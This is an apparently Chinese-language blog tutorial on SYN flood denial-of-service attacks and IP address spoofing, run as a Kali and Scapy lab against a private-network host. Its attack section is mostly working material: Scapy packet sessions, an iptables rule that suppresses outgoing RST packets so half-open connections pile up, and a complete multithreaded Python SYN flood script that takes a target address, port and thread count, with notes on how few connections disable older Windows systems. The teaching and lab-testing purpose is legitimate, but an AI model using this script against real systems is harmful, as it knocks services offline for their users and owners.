美文网首页
二十八、拒绝服务--(2)SynFlood、IP地址欺骗

二十八、拒绝服务--(2)SynFlood、IP地址欺骗

作者: cybeyond | 来源:发表于2018-01-17 21:49 被阅读0次
                                    目录
    

    1、TCP三次握手
    2、SynFlood攻击原理
    3、synflood测试
    4、IP地址欺骗

    1、TCP三次握手

    一个正常的tcp连接,需要进行三次握手,tcp连接实质上只是客户端和服务端的一种约定,如下图所示:


    三次握手

    2、SynFlood攻击原理

    syn占用的tcp最大连接数,而不是占用cpu或者内存,是即使操作系统具有syn在等待n秒后断开的机制,但是flood攻击时,新空闲的连接又会被新的syn连接挤满。


    syn攻击

    3、synflood测试

    实验环境:kali

    #apt-get install python-gnuplot  //在kali打开scapy会报一些信息,如果再下次打开时不再出现,需安装此包
    

    指定目标IP地址

    >>> i=IP()
    >>> i.dst="192.168.50.183"
    >>> i.display()
    ###[ IP ]### 
      version= 4
      ihl= None
      tos= 0x0
      len= None
      id= 1
      flags= 
      frag= 0
      ttl= 64
      proto= hopopt
      chksum= None
      src= 192.168.50.115
      dst= 192.168.50.183
      \options\
    
    

    指定TCP端口

    >>> t=TCP()
    >>> t.dport=22
    >>> t.display()
    ###[ TCP ]### 
      sport= ftp_data
      dport= ssh
      seq= 0
      ack= 0
      dataofs= None
      reserved= 0
      flags= S
      window= 8192
      chksum= None
      urgptr= 0
      options= {}
    
    

    发送数据包

    >>> sr1(i/t,verbose=1,timeout=2)
    Begin emission:
    Finished to send 1 packets.
    
    Received 2 packets, got 1 answers, remaining 0 packets
    <IP  version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x5451 src=192.168.50.183 dst=192.168.50.115 options=[] |<TCP  sport=ssh dport=ftp_data seq=1747720139 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0x1aa9 urgptr=0 options=[('MSS', 1460)] |<Padding  load='\x00\x00' |>>>
    
    

    通过程序发送数据包,对端会返回一个syn+ack,但是操作系统在接收到此数据包时,并不认为是系统本身发送的(通过程序scapy发送),所以会返回一个RST:


    抓包分析

    这样就不会达到syn攻击的效果,因为攻击方主机已经主动的与被攻击方断开了,需要添加一条iptables策略,禁止发送rst

    iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.50.183 -j DROP
    
    查看iptables策略

    再次发送一个数据包,可以看到服务器在等待并且要求重传,当超时后,丢弃此包。如果通过发送大量的数据包,则会造成synflood攻击。


    image.png

    准备工作完成之后,下面开始针对靶机做测试:

    #!/usr/bin/python
    # -*- coding: utf-8 -*- 
    
    from scapy.all import * 
    from time import sleep 
    import thread 
    import random 
    import logging 
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    
    if len(sys.argv) != 4:
        print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"   
        print "举例: ./syn_flood.py 1.1.1.1 80 20"     
        sys.exit()
        
    target = str(sys.argv[1]) 
    port = int(sys.argv[2]) 
    threads = int(sys.argv[3])
    
    print "正在执行 SYN flood 攻击. 按 Ctrl+C 停止攻击." 
    def synflood(target,port):   
        while 0 == 0:
            x = random.randint(0,65535)      
            send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
            
    for x in range(0,threads):   
        thread.start_new_thread(synflood, (target,port))
        
    while 0 == 0:   
        sleep(1) 
    

    添加执行权限chmod +x synflood.py后,开始执行,此脚本会一直循环发送200个连接,直至ctrl+c终止。

    执行synflood攻击
    在没有执行攻击之前,ssh登录192.168.50.183是很快的,一旦执行脚本,登录会超时。当然有时也能登录上去,是因为正好空闲的连接释放出来后,ssh登录使用此释放的连接。
    ssh登录等待
    netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'  //查看靶机的连接数
    
    查看靶机连接
    对于windows的可以在kali上使用rdesktop命令来远程连接,发送的连接数设置为10个就可以使windows xp无法连接,当然记得iptables策略。
    windows系统默认半开连接数10个,像迅雷一些下载软件,在下载的时候,默认会修改最大的连接数

    TCP断开握手

    tcp断开握手
    可参考synflood原理与防范

    4、IP地址欺骗

    • 经常用于Dos攻击
    • 根据IP头地址寻址
      • 伪造IP源地址
    • 边界路由器过滤
      • 入站、出站
    • 受害者可能是源、目的地址
    • 绕过基于地址的验证
    • 压力测试模拟多用户
    • 上层协议(TCP序列号)

    相关文章

      网友评论

          本文标题:二十八、拒绝服务--(2)SynFlood、IP地址欺骗

          本文链接:https://www.haomeiwen.com/subject/tbqsoxtx.html